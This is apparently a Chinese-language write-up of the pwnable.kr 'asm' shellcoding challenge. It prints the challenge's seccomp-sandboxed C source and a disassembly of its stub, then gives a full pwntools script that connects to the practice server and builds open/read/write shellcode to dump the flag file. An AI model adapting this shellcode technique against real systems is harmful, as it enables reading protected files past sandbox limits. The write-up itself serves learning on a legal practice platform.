Mommy! I think I know how to make shellcodes
ssh asm@pwnable.kr -p2222 (pw: guest)
ssh连接上去之后,我们可以看到4个文件.使用cat readme查看readme文件的内容.
asm@pwnable:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
从上面我们可以知道,存放flag的文件名正是this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
这个文件名非常长,是为了迷惑我们的.
首先查看源代码asm.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
不妨对stub数组中的内容进行disasm操作:查看这些内容对应的汇编语言是什么:
# -*- coding:utf-8 -*-
from pwn import *
a = disasm(b'\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff')
print(a)
输出结果如下
acat@acat-xx:asm$ python3 test2.py
0: 48 dec eax
1: 31 c0 xor eax, eax
3: 48 dec eax
4: 31 db xor ebx, ebx
6: 48 dec eax
7: 31 c9 xor ecx, ecx
9: 48 dec eax
a: 31 d2 xor edx, edx
c: 48 dec eax
d: 31 f6 xor esi, esi
f: 48 dec eax
10: 31 ff xor edi, edi
12: 48 dec eax
13: 31 ed xor ebp, ebp
15: 4d dec ebp
16: 31 c0 xor eax, eax
18: 4d dec ebp
19: 31 c9 xor ecx, ecx
1b: 4d dec ebp
1c: 31 d2 xor edx, edx
1e: 4d dec ebp
1f: 31 db xor ebx, ebx
21: 4d dec ebp
22: 31 e4 xor esp, esp
24: 4d dec ebp
25: 31 ed xor ebp, ebp
27: 4d dec ebp
28: 31 f6 xor esi, esi
2a: 4d dec ebp
2b: 31 ff xor edi, edi
acat@acat-xx:asm$
我们的目的是将flag文件中的内容读取出来.根据提议,这些读取操作可以通过open,read,write系统调用来完成.而在沙箱中会直接执行这些二进制代码.那么如何获得open,read,write操作对应的二进制代码呢?答案是通过使用pwntools的shellcraft来完成.
因为我们需要打开一个文件,所以open系统调用需要知道文件名,而文件名我们已经知道了,就是那个很长的字符串.
所以在我们的脚本中,我们第一步需要讲那么文件名压栈,那么栈顶指针rsp所指向的内容正是文件名.
所以sh字符数组最终的内容应当是如下图
在这里插入图片描述
脚本如下所示
from pwn import *
context(arch='amd64',os='linux')
s = ssh('asm','pwnable.kr',2222,'guest')
p = s.connect_remote('localhost',9026)
p.recvuntil('give me your x64 shellcode: ')
shellcode = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp',0,0)
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
p.send(asm(shellcode))
sleep(1)
print(p.recvall())
当B部分代码执行完之后,文件名被压入栈中,此时栈的情况大致如下:
所以此时,rsp指针指向的内容正是文件名.以文件名作为open系统调用的第一个参数,返回文件名对应的文件描述符,由于函数的返回值存放在rax寄存器当中,所以read系统调用的第一个参数是rax.由于脚本中read系统调用的第二个参数是rsp,所以read系统调用执行完成了之后,文件的内容就放在了rsp指针指向的内存单元中.也就是说,文件的内容放在了从栈顶开始,向栈底方向,依次存放.由于read的第三个参数是100,所以最多从文件中读取100个字符的内容.write系统调用的第一个参数是1,我们知道,0代表标准输入,1代表标准输出,2代表标准err.所以0和1代表的都是控制台.所以write负责将read系统调用读取到内存当中的数据读取出来输出到控制台中,这里也是最多读取100个字符.
我呢不妨在本地进行测试:
长文件名的文件的内容是abcdefg
那么write系统调用部分输出的内容是:
abcdefg_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooo
正好是100个字符,其中abcdefg讲文件名的前7个字符覆盖了